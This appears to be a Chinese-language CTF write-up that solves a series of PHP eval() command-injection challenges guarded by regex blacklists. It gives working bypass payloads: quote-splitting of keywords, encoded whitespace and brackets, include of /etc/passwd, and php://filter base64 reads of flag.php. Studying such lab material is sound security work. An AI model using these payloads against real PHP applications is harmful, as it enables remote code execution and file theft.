常用的命令执行函数:
system() //函数执行有回显,返回执行结果
passthru() //函数执行有回显,返回执行结果
exec() //函数执行无回显,默认返回最后一行结果,通过echo可将执行结果输出到页面
shell_exec() //函数执行无回显,通过echo可将执行结果输出到页面
`` //shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体,当禁用shell_exec时,` 也不可执行
popen()
proc_open()
pcntl_exec()
linux中有查看功能的命令有:
cat、tac、more、less、head、tail、nl、
sed、sort、uniq、rev、vi、vim、od(以二进制的方式读取档案内容)
空格 绕过:
%09、$IFS$9、 ${IFS}、$IFS%09、< 、<>、%20、0a、%0b、%0c、%0d、%a0、/**/ //有特殊意义的符号需用\进行转义
左括号(绕过:
%u0028、%uff08、%c0、%28、%c0、%a8、%e0、%80、%a8
右括号)绕过:
%u0029、%uff09、%c0、%29、%a9、%e0、%80、%a9
分号;绕过:
?>
题目代码:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
题目过滤flag(/i表示不区分大小写),从代码可以看出通过get方式得到参数c后仅仅过滤了flag,直接将c执行(eval–把字符串作为PHP代码执行,允许执行任意 PHP 代码)
payload:c=system('cat f*');
c=passthru('cat f""lag.php');
c=echo exec('cat f""lag.php');
c=echo `cat fl''ag.php`;
c=echo shell_exec('cat f""lag.php');
c=echo `cat fl''ag.php`;
因为题目过滤不严所以payload会有很多,上述payload除了第三个直接返回了flag外其余都需查看源代码。
补充:
c=?>Eph3mera1 system('ls'); //列出当前目录下的文件,发现flag.php文件
c=?>Eph3mera1 system('cat f*'); //查看flag.php文件,右键源代码得到flag
参考:https://www.cnblogs.com/NPFS/p/13797436.html
关键代码:
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
题目过滤了flag、system、php
对于linux,php和ph''p ph\p ph""p效果是相同的,这样可以绕过字符的限制
payload:c=echo `cat fl''ag.p''hp`;
因为过滤不严格payload同样有很多,不一一列举。
关键代码:
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
题目过滤了
flag、system、php、cat、sort、shell、.、空格、'
依旧采用上述方法进行绕过:
payload:c=echo%09exec("more%09f*");
关键代码:
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
题目过滤了很多,这里就不一一赘述了,如代码所示
php无需括号的函数:
echo 123;
print 123;
die;
include "/etc/passwd";
require "/etc/passwd";
include_once "/etc/passwd";
require_once "etc/passwd";
?>
参考yu22x大佬解题:尝试include"/etc/passwd"?>
可以执行,且代码没有过滤$
,用c=include"$_POST[x]"?>
或者c=include"$_GET[x]"?>
然后用php伪协议将include包含的文件在页面上显示出来
payload:c=include"$_GET[x]"?>&x=php://filter/read=convert.base64-encode/resource=flag.php
payload:?c=include"$_POST[x]"?>
post传参:x=php://filter/read=convert.base64-encode/resource=flag.php
读取到以base64形式显示在页面的flag.php文件,解码得到flag
关键代码:
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
对比上题多过滤了双引号
payload:c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php
payload:c=include$_POST[x]?>
post传参:x=php://filter/read=convert.base64-encode/resource=flag.php
35题那里=过滤的是参数c的=,我之前一直把这里的=和参数c的=混在一起,感谢群内大佬指导,?c=的=只是GET传参为参数赋值的形式,不属于参数c(我太菜了,菜狗哭泣
常用命令执行函数参考文章:https://blog.csdn.net/Auuuuuuuu/article/details/88778852?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param
wp部分参考:https://blog.csdn.net/miuzzx/article/details/108420246